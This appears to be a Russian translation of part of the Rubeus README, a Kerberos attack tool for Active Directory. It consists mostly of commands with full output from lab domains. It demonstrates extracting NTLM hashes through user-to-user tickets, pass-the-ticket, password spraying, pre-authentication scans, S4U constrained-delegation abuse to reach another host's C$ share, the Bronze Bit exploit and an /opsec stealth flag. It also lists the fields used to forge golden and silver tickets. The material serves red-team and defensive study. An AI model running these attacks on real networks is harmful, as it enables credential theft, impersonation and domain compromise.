[*] Запрос типов шифрования по умолчанию (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) для сервисного тикета
[*] Построение запроса TGS-REQ для: 'roast/me'
[+] Запрос TGS выполнен успешно!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Расшифрованный PAC :
Информация о входе :
Время входа : 19/07/2021 23:00:38
Время выхода :
Время завершения сеанса :
Пароль последний раз изменён : 14/07/2021 02:07:12
Пароль может быть изменён : 15/07/2021 02:07:12
Пароль должен быть изменён :
Эффективное имя : harmj0y
Полное имя : Harm J0y
Скрипт входа :
Путь к профилю :
Домашний каталог :
Дисковый том домашнего каталога :
Счётчик входов : 8
Счётчик неправильных паролей : 0
Id пользователя : 1106
Id основной группы : 513
Количество групп : 1
Группы : 513
Флаги пользователя : (32) EXTRA_SIDS
Ключ сеанса пользователя : 0000000000000000
Сервер входа : PDC1
Имя домена входа : RUBEUS
Id домена входа : S-1-5-21-3237111427-1607930709-3979055039
Управление учётной записью пользователя : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Количество дополнительных SID : 1
Дополнительные SID : S-1-18-1
Количество групп ресурсов : 0
Информация об учётных данных :
Версия : 0
Тип шифрования : rc4_hmac
Данные учётных данных : *** КЛЮЧ ОТСУТСТВУЕТ ***
Имя клиента :
Id клиента : 19/07/2021 23:57:46
Имя клиента : harmj0y
UPN и DNS :
Имя домена DNS : RUBEUS.GHOSTPACK.LOCAL
UPN : harmj0y@rubeus.ghostpack.local
Флаги : 0
Контрольная сумма сервера :
Тип подписи : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Подпись : 96FA020562EE73B38D31AEEF (ДЕЙСТВИТЕЛЬНА)
Контрольная сумма KDC :
Тип подписи : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Подпись : E7FDCBAF5F580DFB567DF102 (НЕ ПРОВЕРЕНА)
[*] Вывод аргументов для использования с командами «golden» или «silver» в Rubeus:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
Использование PKINIT для запроса TGT, а затем запрос сервисного билета пользователь-пользователь для получения доступа к хешу NTLM, хранящемуся в PAC (вручную выполняется флаг /getcredentials для asktgt):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Запрос TGS
[*] Используется контроллер домена: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Запрос типов шифрования по умолчанию (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) для сервисного билета
[*] Построение запроса TGS-REQ пользователь-пользователь для: 'harmj0y'
[+] Запрос TGS выполнен успешно!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
Имя сервиса : harmj0y
Область сервиса : RUBEUS.GHOSTPACK.LOCAL
Имя пользователя : harmj0y
Область пользователя : RUBEUS.GHOSTPACK.LOCAL
Время начала : 19/07/2021 23:01:05
Время окончания : 20/07/2021 09:00:38
Обновление до : 26/07/2021 23:00:38
Флаги : name_canonicalize, pre_authent, renewable, forwardable
Тип ключа : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Расшифрованный PAC :
Информация о входе :
Время входа : 19/07/2021 22:59:21
Время выхода :
Время завершения сеанса :
Пароль последний раз изменён : 14/07/2021 02:07:12
Пароль может быть изменён : 15/07/2021 02:07:12
Пароль должен быть изменён :
Эффективное имя : harmj0y
Полное имя : Harm J0y
Скрипт входа :
Путь к профилю :
Домашний каталог :
Дисковый том домашнего каталога :
Счётчик входов : 7
Счётчик неправильных паролей : 0
Id пользователя : 1106
Id основной группы : 513
Количество групп : 1
Группы : 513
Флаги пользователя : (32) EXTRA_SIDS
Ключ сеанса пользователя : 0000000000000000
Сервер входа : PDC1
Имя домена входа : RUBEUS
Id домена входа : S-1-5-21-3237111427-1607930709-3979055039
Управление учётной записью пользователя : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Количество дополнительных SID : 1
Дополнительные SID : S-1-18-1
Количество групп ресурсов : 0
Информация об учётных данных :
Версия : 0
Тип шифрования : rc4_hmac
Данные учётных данных :
Количество учётных данных : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
Имя клиента :
Id клиента : 19/07/2021 23:00:38
Имя клиента : harmj0y
UPN и DNS :
Имя домена DNS : RUBEUS.GHOSTPACK.LOCAL
UPN : harmj0y@rubeus.ghostpack.local
Флаги : 0
Контрольная сумма сервера :
Тип подписи : KERB_CHECKSUM_HMAC_MD5
Подпись : ADEC4A1A7DF70D0A61047E510E778454 (ДЕЙСТВИТЕЛЬНА)
Контрольная сумма KDC :
Тип подписи : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Подпись : 6CF688E02147BEEC168E0125 (НЕ ПРОВЕРЕНА)
Обратите внимание, /asrepkey из извлечения TGT должен быть передан для расшифровки секции CredentialData, где хранится хеш NTLM, но аргумент /servicekey здесь не требуется, так как используется ключ сеанса из TGT, поскольку это запрос пользователь-пользователь.
Запрос сервисного билета с использованием текущего активного сеанса:
Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072
[*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : CCob (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:08:11
EndTime : 25/02/2025 18:48:39
RenewTill : 03/03/2025 12:47:40
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
Запрос TGT для локальной учётной записи компьютера через обновление. Требуется доступ локального администратора. Если присутствует Credential Guard, использование билета будет невозможно за пределами хоста.
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
Действие renew построит/разберёт необработанный обмен TGS-REQ/TGS-REP для обновления TGT, используя предоставленное значение /ticket:X. Это значение может быть кодировкой base64 файла .kirbi или путём к файлу .kirbi на диске. Если /dc не указан, текущий контроллер домена компьютера извлекается и используется как назначение для трафика обновления. Флаг /ptt выполнит «pass-the-ticket» и применит полученную учётную запись Kerberos к текущему сеансу входа.
Обратите внимание, что TGT ДОЛЖНЫ быть обновлены до их времени окончания, в пределах окна обновления (RenewTill).
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Обновление TGT
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение TGS-REQ обновления для: 'TESTLAB.LOCAL\dfm.a'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 1506 байт
[*] Получено 1510 байт
[+] Запрос на обновление TGT выполнен успешно!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Действие: Импорт билета
[+] Билет успешно импортирован!
Флаг /autorenew возьмёт существующий файл/объект .kirbi /ticket:X, будет ждать до endTime-30 минут, автоматически обновит билет и отобразит обновлённый объект билета. Он продолжит этот процесс обновления до истечения допустимого окна обновления (renew-till).
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Автоматическое обновление TGT
[*] Пользователь : dfm.a@TESTLAB.LOCAL
[*] время окончания : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Спим 263 минуты (endTime-30) до следующего обновления
[*] Обновление TGT для dfm.a@TESTLAB.LOCAL
[*] Действие: Обновление TGT
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Формирование TGS-REQ для обновления: 'TESTLAB.LOCAL\dfm.a'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 1506 байт
[*] Получено 1510 байт
[+] Запрос на обновление TGT успешен!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
### brute
Действие **brute** выполняет атаку перебора паролей или атаку "распыления" паролей (password spraying) на основе Kerberos. В качестве имени действия также может использоваться **spray**.
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Заблокированный/Отключенный пользователь => Guest
[-] Заблокированный/Отключенный пользователь => DefaultAccount
[-] Заблокированный/Отключенный пользователь => krbtgt
[-] Заблокированный/Отключенный пользователь => disabled
[+] ПОТРЯСАЮЩЕ => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
### preauthscan
Действие **preauthscan** отправляет AS-REQ для всех имен пользователей, переданных в аргумент `/users`, для обнаружения учетных записей, которым не требуется предварительная аутентификация Kerberos.
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Действие: Сканирование учетных записей, не требующих предварительной аутентификации Kerberos
[*] cclark: Предварительная аутентификация обязательна
[*] jjones: Предварительная аутентификация не требуется
[*] rwilliams: Предварительная аутентификация обязательна
[*] svc_sqlserver: Предварительная аутентификация обязательна
[*] pgreen: Предварительная аутентификация обязательна
[*] jsmith: Предварительная аутентификация обязательна
[*] tnahum: Предварительная аутентификация обязательна
[*] sfederovsky: Предварительная аутентификация обязательна
## Злоупотребление ограниченной делегацией
Разбор команд ограниченной делегации:
| Команда | Описание |
| ----------- | ----------- |
| [s4u](#s4u) | Выполнение действий S4U2self и S4U2proxy |
### s4u
Действие **s4u** почти идентично функциональности **tgs::s4u** из [Kekeo](https://github.com/gentilkiwi/kekeo/). Если учетная запись пользователя (или компьютера) настроена на ограниченную делегацию (т.е. имеет значение SPN в поле msds-allowedtodelegateto), это действие может использоваться для злоупотребления доступом к целевому SPN/серверу. Ограниченная делегация - сложная тема. Для получения дополнительной информации см. [этот пост](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) или пост Элада Шамира ["Wagging the Dog"](https://shamanlabs.io/2019/01/28/Wagging-the-Dog.html).
**Краткое** объяснение заключается в том, что учетная запись с включенной ограниченной делегацией может запрашивать билеты _для себя от имени любого пользователя_ в процессе, известном как S4U2self. Чтобы учетная запись могла это делать, в ее свойстве useraccountcontrol должно быть включено **TrustedToAuthForDelegation**, что по умолчанию могут изменить только администраторы. По умолчанию в этом билете установлен флаг **FORWARDABLE**. Затем служба может использовать этот специально запрошенный билет для запроса сервисного билета на любое имя главной службы (SPN), указанное в поле **msds-allowedtodelegateto** учетной записи. Итак, если кратко, если вы контролируете учетную запись с установленным флагом **TrustedToAuthForDelegation** и значением в поле **msds-allowedtodelegateto**, вы можете притворяться любым пользователем в домене для SPN, указанных в поле **msds-allowedtodelegateto** этой учетной записи.
Этот "контроль" может быть хэшем учетной записи (`/rc4` или `/aes256`), или существующим TGT (`/ticket:X`) для учетной записи со значением в поле **msds-allowedtodelegateto**. Если supplied `/user` и хэш rc4/aes256, модуль **s4u** сначала выполняет действие [asktgt](#asktgt), используя возвращенный билет для следующих шагов. Если supplied TGT `/ticket:X`, используется этот TGT.
Если supplied хэш учетной записи, для запроса начального TGT без PAC может использоваться ключ `/nopac`.
Использование KDC-прокси ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) для отправки запросов возможно с помощью аргумента `/proxyurl:URL`. Требуется полный URL KDC-прокси, например, https://kdcproxy.example.com/kdcproxy. При использовании с командой `s4u` *все* запросы будут отправляться через прокси.
К модулю **s4u** **ОБЯЗАТЕЛЬНО** должен быть supplied параметр `/impersonateuser:X`. Если больше ничего не supplied, выполняется только процесс S4U2self, возвращающий пересылаемый билет:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Запрос TGT
[*] Используется хэш rc4_hmac: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Формирование AS-REQ (с предварительной аутентификацией) для: 'testlab.local\patsy'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 230 байт
[*] Получено 1377 байт
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Действие: S4U
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Формирование запроса S4U2self для: 'TESTLAB.LOCAL\patsy'
[*] Отправка запроса S4U2self
[*] Подключение к 192.168.52.100:88
[*] Отправлено 1437 байт
[*] Получено 1574 байт
[+] S4U2success!
[*] Получен TGS для 'dfm.a@TESTLAB.LOCAL' к 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
Этот пересылаемый билет затем может использоваться как параметр `/tgs:Y` (base64-строка или файл .kirbi) для выполнения процесса S4U2proxy. Для учетной записи должно быть supplied действительное значение **msds-allowedtodelegateto** (`/msdsspn:X`). Допустим, учетная запись **patsy@testlab.local** выглядит так:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
Тогда функция злоупотребления S4U2proxy (используя билет из предыдущего процесса S4U2self) будет выглядеть так:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: S4U
[*] Загружен TGS для TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL
[*] Подмена пользователя 'dfm.a@TESTLAB.LOCAL' для целевого SPN 'ldap/PRIMARY.testlab.local'
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Формирование запроса S4U2proxy для службы: 'ldap/PRIMARY.testlab.local'
[*] Отправка запроса S4U2proxy
[*] Подключение к 192.168.52.100:88
[*] Отправлено 2641 байт
[*] Получено 1829 байт
[+] S4U2proxy успешен!
[*] base64(ticket.kirbi) для SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
Где `/ticket:X` - это TGT, полученный на первом шаге, а `/tgs` - это билет S4U2self. Инъекция полученного билета (вручную с помощью [Rubeus.exe ptt /ticket:X](#ptt) или путем supplied флага `/ptt` команде **s4u**) позволит вам получить доступ к службе **ldap** на primary.testlab.local _от имени dfm.a_.
Параметр `/altservice` использует великое открытие [Alberto Solino](https://twitter.com/agsolino) о [том, что имя службы (sname) не защищено в файле KRB-CRED](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), защищено только имя сервера. Это позволяет нам подставить любое желаемое имя службы в результирующий файл KRB-CRED (.kirbi). Может быть supplied одно или несколько альтернативных имен служб через запятую (`/altservice:cifs,HOST,...`).
Давайте расширим предыдущий пример, создавая доступ к файловой системе на primary.testlab.local, используя его конфигурацию ограниченного делегирования и замену альтернативного сервиса. Также упакуем всё это в один шаг, выполняя запрос TGT, процесс S4U2self, выполнение S4U2proxy и вставку финального билета:
C:\Rubeus>dir \\primary.testlab.local\C$
Отказ в доступе.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Запросить TGT
[*] Используется хеш rc4_hmac: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение AS-REQ (с предаутентификацией) для: 'testlab.local\patsy'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 230 байт
[*] Получено 1377 байт
[+] Запрос TGT выполнен успешно!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(обрез)..
[*] Действие: S4U
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение запроса S4U2self для: 'TESTLAB.LOCAL\patsy'
[*] Отправка запроса S4U2self
[*] Подключение к 192.168.52.100:88
[*] Отправлено 1437 байт
[*] Получено 1574 байт
[+] S4U2self выполнен успешно!
[*] Получен TGS для 'dfm.a@TESTLAB.LOCAL' к 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(обрез)..
[*] Маскировка пользователя 'dfm.a' для целевого SPN 'ldap/PRIMARY.testlab.local'
[*] Финальный билет будет для альтернативного сервиса 'cifs'
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение запроса S4U2proxy для сервиса: 'ldap/PRIMARY.testlab.local'
[*] Отправка запроса S4U2proxy
[*] Подключение к 192.168.52.100:88
[*] Отправлено 2641 байт
[*] Получено 1829 байт
[+] S4U2proxy выполнен успешно!
[*] Замена имени альтернативного сервиса на 'cifs'
[*] base64(ticket.kirbi) для SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(обрез)..
[*] Действие: Импортировать билет
[+] Билет успешно импортирован!
C:\Rubeus>dir \\primary.testlab.local\C$
Том в диске \\primary.testlab.local\C$ не имеет метки.
Серийный номер тома: A48B-4D68
Каталог \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
По умолчанию между TGS-REQ, генерируемыми Rubeus для S4U2Self и S4U2Proxy, и подлинными запросами существует несколько различий. Чтобы формировать TGS-REQ более близко к подлинным запросам, можно использовать флаг /opsec. Поскольку этот флаг предназначен для повышения скрытности трафика Rubeus, по умолчанию он не может использоваться с каким-либо типом шифрования, кроме aes256, и просто выведет предупреждение и завершится, если будет использован другой тип шифрования. Чтобы разрешить использование других типов шифрования с изменениями /opsec, существует флаг /force. Флаг /opsec еще не реализован для кросс-доменного S4U.
Эксплойт Bronze Bit (CVE-2020-17049) реализован с использованием флага /bronzebit. Добавление этого флага автоматически перевернет флаг forwardable при получении билета S4U2Self. Поскольку для переворота этого флага требуется расшифровка и повторное шифрование билета сервиса, необходим долгосрочный ключ (хеш пароля учетной записи сервиса). По этой причине, если предоставляется TGT, для работы этого метода также необходимы учетные данные учетной записи сервиса.
В определенных обстоятельствах можно использовать билет S4U2Self для маскировки защищенных пользователей для повышения привилегий в запрашивающей системе, как обсуждается здесь. Для этой цели могут использоваться флаг /self и аргумент /altservice:X для генерации пригодного для использования билета сервиса.
Для подделки реферала S4U2Self требуется только ключ доверия. Используя аргумент /targetdomain:X с флагом /self и без аргумента /targetdc, Rubeus будет обрабатывать билет, предоставленный через /ticket:X, как реферал S4U2Self, и запрашивать только финальный билет сервиса S4U2Self. Флаг /altservice:X также можно использовать для перезаписи sname в результирующем билете:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Действие: S4U
[*] Действие: S4U
[*] Используется контроллер домена: idc1.internal.zeroday.lab (192.168.71.20)
[*] Запрос кросс-Realm 'S4U2Self' для external.admin@external.zeroday.lab от idc1.internal.zeroday.lab
[*] Отправка кросс-Realm запроса S4U2Self
[+] Кросс-Realm S4U2Self выполнен успешно!
[*] Замена имени альтернативного сервиса на 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
Разбор команд подделки билетов:
| Команда | Описание |
|---|---|
| golden | Подделать билет granting ticket (TGT) |
| silver | Подделать билет сервиса, также может подделывать TGT |
| diamond | Подделать diamond билет |
Между командами golden и silver много сходств; причина их разделения — упростить команду golden. Билеты сервиса могут быть значительно сложнее TGT с разными ключами и дополнительными секциями, в то время как TGT можно подделать командой silver. golden предоставляет меньше возможных аргументов, так как функции, нерелевантные для TGT, в ней отсутствуют.
Большинство аргументов обеих команд предназначены для установки полей PAC и должны быть довольно понятными. Это:
| Аргумент | Описание |
|---|---|
| /user | Используется как пользователь для запроса деталей, если передан /ldap, но также используется для установки поля EffectiveName в PAC и поля cname в EncTicketPart |
| /dc | Указывает контроллер домена, используемый для запроса LDAP, если передан /ldap, но также используется для установки поля LogonServer в PAC |
| /netbios | Устанавливает поле LogonDomainName в PAC |
| /sid | Устанавливает поле LogonDomainId в PAC |
| /id | Устанавливает поле UserId в PAC (По умолчанию: 500) |
| /displayname | Устанавливает поле FullName в PAC |
| /logoncount | Устанавливает поле LogonCount в PAC (По умолчанию: 0) |
| /badpwdcount | Устанавливает поле BadPasswordCount в PAC (По умолчанию: 0) |
| /uac | Устанавливает поле UAC в PAC (По умолчанию: NORMAL_ACCOUNT) |
| /pgid | Устанавливает поле PrimaryGroupId в PAC и также добавляется в поле /groups (По умолчанию: 513) |
| /groups | Через запятую. Устанавливает поле Groups в PAC, также в него добавляется /pgid. Итоговое значение также используется для расчета поля GroupCount (По умолчанию: 520,512,513,519,518) |
| /homedir | Устанавливает поле HomeDirectory в PAC |
| /homedrive | Устанавливает поле HomeDirectoryDrive в PAC |
| /profilepath | Устанавливает поле ProfilePath в PAC |
| /scriptpath | Устанавливает поле LogonScript в PAC |
| /logofftime | Устанавливает поле LogoffTime в PAC. В формате местного времени - автоматически конвертируется в UTC |
| /lastlogon | Устанавливает поле LogonTime в PAC. В формате местного времени - автоматически конвертируется в UTC (По умолчанию: starttime - 1 секунда) |
| /passlastset | Устанавливает поле PasswordLastSet в PAC. В формате местного времени - автоматически конвертируется в UTC |
| /minpassage | Устанавливает поле PasswordCanChange в PAC. Это относительно PasswordLastSet, в количестве дней, так что '5' означает 5 дней |
| /maxpassage | Устанавливает поле PasswordMustChange в PAC. Это относительно PasswordLastSet, в количестве дней, так что '5' означает 5 дней |
| /sids | Через запятую. Устанавливает поле ExtraSIDs в PAC. Также используется для расчета поля ExtraSIDCount |
| /resourcegroupsid | Устанавливает поле ResourceGroupSid в PAC. Если используется, также требуется /resourcegroups |
| /resourcegroups | Через запятую. Устанавливает поле ResourceGroups в PAC. Также используется для вычисления поля ResourceGroupCount. Если используется, также требуется /resourcegroupsid |
Другие аргументы, общие для обеих команд, но устанавливающие поля вне PAC:
| Аргумент | Описание |
|---|---|
| /authtime | Устанавливает поле authtime в EncTicketPart. В формате локального времени — автоматически конвертируется в UTC (По умолчанию: now) |
| /starttime | Устанавливает поле starttime в EncTicketPart. В формате локального времени — автоматически конвертируется в UTC (По умолчанию: now) |
| /endtime | Устанавливает поле endtime в EncTicketPart. Относительно starttime, в формате множитель плюс временной диапазон, например, для 5 дней — 5d. Более подробная информация об этом формате приведена ниже (По умолчанию: 10h) |
| /renewtill | Устанавливает поле renew-till в EncTicketPart. Относительно starttime, в формате множитель плюс временной диапазон, например, для 5 дней — 5d. Более подробная информация об этом формате приведена ниже (По умолчанию: 7d) |
| /rangeend | Используется для создания нескольких тикетов с разным временем начала. Это будет последнее starttime, относительно /starttime, в формате множитель плюс временной диапазон, например, для 5 дней — 5d. Более подробная информация об этом формате приведена ниже |
| /rangeinterval | Используется для создания нескольких тикетов с разным временем начала. Это интервал между каждым starttime, в формате множитель плюс временной диапазон, например, для 5 дней — 5d. Более подробная информация об этом формате приведена ниже |
| /flags | Устанавливает флаги тикета внутри EncTicketPart (По умолчанию: forwardable,renewable,pre_authent, а для golden также initial) |
| /extendedupndns | Включает новый расширенный UpnDns (который включает samaccountname и account SID) |
Для относительных времен, описанных в таблицах выше, формат — это целое число, используемое как множитель, за которым следует один символ, представляющий временной диапазон. Значение каждого поддерживаемого символа показано в таблице ниже (Они чувствительны к регистру):
| Символ | Описание |
|---|---|
| m | Минуты |
| h | Часы |
| d | Дни |
| M | Месяцы |
| y | Годы |
Другой общей функцией, используемой обеими командами, является получение информации через LDAP. Как golden, так и silver поддерживают получение информации по LDAP с помощью флага /ldap. Флаг /ldap можно использовать с аргументами /creduser и credpassword для аутентификации от имени другого пользователя при получении этой информации. Информация получается путем отправки 3 LDAP-запросов и монтирования общего ресурса SYSVOL контроллера домена (для чтения файла политики домена), если не передана другая информация. LDAP-запросы автоматически отправляются через TLS и переключаются на обычный LDAP, если произошел сбой.
Первый LDAP-запрос, который всегда отправляется, если передан ldap, запрашивает пользователя, указанного в /user, и получает большую часть информации о пользователе, необходимой для PAC.
